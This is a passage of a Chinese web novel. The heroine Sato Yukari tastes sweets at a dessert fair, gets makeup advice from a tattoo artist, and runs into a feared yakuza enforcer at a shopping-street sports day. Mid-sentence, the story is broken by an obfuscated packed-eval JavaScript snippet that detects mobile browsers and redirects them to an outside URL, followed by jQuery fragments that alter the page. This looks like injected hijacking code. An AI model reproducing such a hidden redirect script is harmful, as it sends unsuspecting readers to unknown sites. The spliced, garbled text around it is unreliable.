“千速~不好意思我来晚了~”
“没关系,我们也才到,”萩原千速看着几乎排满了整层楼的队伍,忍不住感叹,“没想到人这么多……”
“是啊,是我们小看了甜品展的吸引力。”佐藤缘站在萩原千速身后,看着拥挤的人群忍不住摇头,然后她对上了站在两人对面的男人视线,对方很友好地朝她露出灿烂的笑容,“你好,我是北条零,叫我零就好啦~你就是小缘吧……”他盯着佐藤缘的脸看了好一会儿,“原来如此……千速的要求果然很有挑战性呢……”
“你好,我是佐藤缘,今天要麻烦你了,零先生。”佐藤缘站在萩原千速的身后乖乖向北条零打招呼。
“别那么客气,直接叫我零就好了。”对方很好脾气地摆手,随即拿出手机,“介意我给你拍几张照片吗?我之后可能还要根据照片来设计几个不同的妆造。”
“没问题。”佐藤缘配合北条零拍了好几张照片,“话说回来,零是化妆师吗?看起来好时尚。”
诚然如佐藤缘所说,站在他们面前的北条零留着一头浅金色的长发,被主人用发绳简单地扎起撇在肩头,很自然地柔和了男性相对过于凌厉的脸部轮廓。左耳耳骨上三颗细小的银色圆环作为点缀,与他手腕上的棕色皮质手环低调呼应。上身着一件质感柔软的米白色立领衬衫,袖子随意挽起,不经意间露出经过锻炼的手臂肌肉。下身搭配深灰色直筒工装裤与一双低帮复古运动鞋,一身中性色系看似简单,但剪裁与面料处处透着精心。
“诶?不是啦,我只是个纹身师啦,所以你怎么称赞也得不到好处的哦,顶多请你们吃甜品而已~”听到佐藤缘的夸赞,北条零乐开了花,他疯狂摆手,脸上的表情却截然相反。
虽然这么说,但看着大排长龙的展位,三人还是纠结了起来。
“我看过其他的展台了,根据时间预估要排一两个小时呢,不过小缘你想吃的那家好像没有来参展哦,换了一家没听过名字的。”萩原千速说着朝佐藤缘举起手上的宣传单,“不过宣传单上的店员看起来倒是很有魅力。”
“我看看……鹿枫堂……”佐藤缘凑过去,“隐世名店……虚幻的顶尖咖啡馆……”再然后是四张足以作为杂志封面的帅哥四人组。本以为是用店员颜值来吸引异性顾客的她在看到其中一人时顿住。
【中尾椿 】
【在背后支撑起男女老少皆爱的鹿枫堂的年轻糕点师 】
【制作甜品时那艺术般的娴熟技艺不容错过】
“诶?小椿?”看着宣传单上那有着一头鲜艳红发的年轻糕点师的侧脸,佐藤缘十分惊讶地捂住嘴。
“小缘你认识?”听到佐藤缘的惊呼,萩原千速看了过去。
“诶……见过几次面,是个很有天赋的点心师。”
“这么说的话我就有信心了,要不就排他们队吧,反正帅哥店员也挺养眼的。”
“抹茶巧克力芭菲,三个花大福是吧,饮料要什么呢?”戴着眼镜的年轻店长笑容亲切,语调温和地询问萩原千速,对方闻言回过头,“小缘你要什么?”
“我要焙茶。”佐藤缘说着转过头看向正在透明玻璃格子间里制作点心的红发青年,“花大福和焙茶最配了。”
“好吃!”抹茶冰淇淋芭菲处理得极为巧妙,选作抹茶的茶叶应该是经过特别挑选的,在舌尖化开得极为柔和,比起市面上的那些苦味与涩味要淡很多,但属于“玉露”的香味又特别明显,带着那一丝清甜的口感融入温热的黑巧克力酱中,只留下鲜明的甘甜底蕴,随即被温热的黑巧克力酱稳稳承接。微凉的冰淇淋与温润的酱汁在口中交融,最终达成一种香气饱满、甜度克制的平衡。
接下来是花大福。
指尖轻触的瞬间,麻薯外皮便温顺地微微陷下。牙齿划开那层柔韧的糯米皮,首先涌上的是白玉般的纯粹米香与滑糯口感,内馅的细密红豆沙随之溢出,甜度被刻意收敛,只留下豆类沉稳的甘醇与少许颗粒感。中心那枚盐渍樱花的存在成为关键,一丝几不可察的咸意恰到好处地点亮整体,让豆沙的甜与饼皮的糯在风味层次上骤然清晰,最终融合成一种温润又含蓄的完满。
“这个茶也很好喝。”佐藤缘选择的配茶是焙茶,独特的焦香与沉稳的坚果风味温和地包裹了口腔中残留的甜糯余韵。茶汤的醇厚感,并非以涩味冲刷,而是以温暖的焙煎香气,将豆沙的甘甜与麻糬的米香衬托得更为明晰。
“小椿,很厉害哦。”
佐藤缘看向玻璃房内被一圈人围观还能专心致志满头大汗全力制作点心的红发青年,眉眼弯弯。
“今天很开心哦,认识了零,还吃到了很好吃的甜品。”
弥补了她没能吃到VELICO的遗憾。
“但最重要的是……”北条零亲自上手给佐藤缘的脸上了妆,虽然看起来还有些许别扭,但对方在离开之前似乎已经胸有成竹,信心满满了。
“很好,小缘你的皮肤质感很好,所以上妆会变得容易很多,后续妆容也没有那么容易垮塌,要继续保持良好的作息哦~年轻女孩子脸上的胶原蛋白可是一辈子羡慕不来的~”
“欢迎回家,大小姐。”
虽然今天并不开店,但大冈阳斗还是上门了,据对方本人所说是因为胜田大哥的命令。
“哪怕不开店也要守好家。”
他又不是真的来当小工的。
“辛苦你守家了,没什么事情吧?”佐藤缘对于大冈阳斗的主动并不反感,说实在的,在这个时间点,胜田组才是最不想她出事的那一个,
“没什么,今天有一部分的客人上门,在看到门口贴着的告示之后也很快就离开了。”大冈阳斗说着又像是突然想起什么,“对了,商店街的人拿了张传单过来,好像说要和隔壁镇的商店街搞什么联合运动会。”
“诶,我看看……”佐藤缘闻言接过大冈阳斗手上的传单,“我们这条街的会长真的很喜欢和其他镇子上的人搞联谊啊……去年好像
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17081350|195328||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是和町山镇搞了个市民马拉松还是什么的,还特地安排了那边的警察先生来维持交通秩序呢,挺厉害的。”
“这次是哪里?冬月町?”
本来还没什么表情的大冈阳斗听到这个名字是脸色突然变了,手捂上了肚子,表情看起来更加严肃了。
“冬月町……”
“怎么了,冬月町有什么麻烦吗?”佐藤缘看到大冈阳斗的表情心里咯噔一下,能够让极·道分子露出这种凝重的表情,莫非冬月町那边也有什么很可怕的极·道团体?
“不,只是想起来冬月町应该是樱树组的地盘。”
“……和银龙会是敌对关系?”
“倒也不是死敌,只是竞争关系,听胜田大哥说樱树组是鹰松组的下级组织,鹰松组算是整个关东最大的组织之一,只比银龙会的人数少一点,但因为人员精干反而更规矩。”大冈阳斗摇摇头,给佐藤缘科普了一下基础的极·道知识,“但樱树组有个很棘手的存在。”
“是个为所欲为,非常喜欢用暴力解决问题的人,人称‘樱树组的恶魔’。”大冈阳斗在提起对方时身上的汗毛竖起,瞳孔震颤,“雾岛透。”
“之前有和他交过一回手……我不是他的对手。”
啊……这……
阳斗脸上的表情看起来就很可怜呢,被对方打爆了吧。
佐藤缘看着提起雾岛透脸上就露出后怕的大冈阳斗,内心忍不住同情了一下。
“但我们只是正常参加商店街的联合运动会而已,和极·道组织没关系吧,还是说只要踏上他们的地盘就会被找茬?”
“……应该不会,大小姐的身份目前知晓的人不多。”
“所以只要小心点就不会和他们撞上吧?”
佐藤缘放心得还是太早了。
看着大冈阳斗捂着胃像是只炸毛的猫咪一样盯着不远处身着棒球服的几个年轻男人,佐藤缘忍不住伸手拍打他的背,“那边已经看过来了哦!”
因为警惕与敌意显露得过于明显,很容易就被那些人注意到了。
为首的是一个蓝色短发,戴着眼镜的青年男子,看起来并不像是大冈阳斗之前提到的那么危险的人物,也许是被眼镜遮住了过于冷厉的眼睛,身着棒球服的蓝发青年看起来甚至有几分纯良无害。
“呀,这位小哥,看起来像是对我很有意见的样子呢。”那青年很快朝着大冈阳斗走了过来,手上的棒球棍随意地撑在地上,“我有哪里得罪过你吗?”
他比大冈阳斗略高了半个头,在对方面前站定时视角正好是俯视,镜片背后的眼神充满了审视。
“雾岛透,为什么会出现在……噶!”大冈阳斗刚想质问对方为什么会出现在商店街的联合运动会上,是不是有什么阴谋,结果话还没说完就被身边的佐藤缘肘击。
“大概是因为小哥哥击球的姿势很帅气,所以我家阳斗看直了眼吧。”
“……哈?”
“大小姐?!”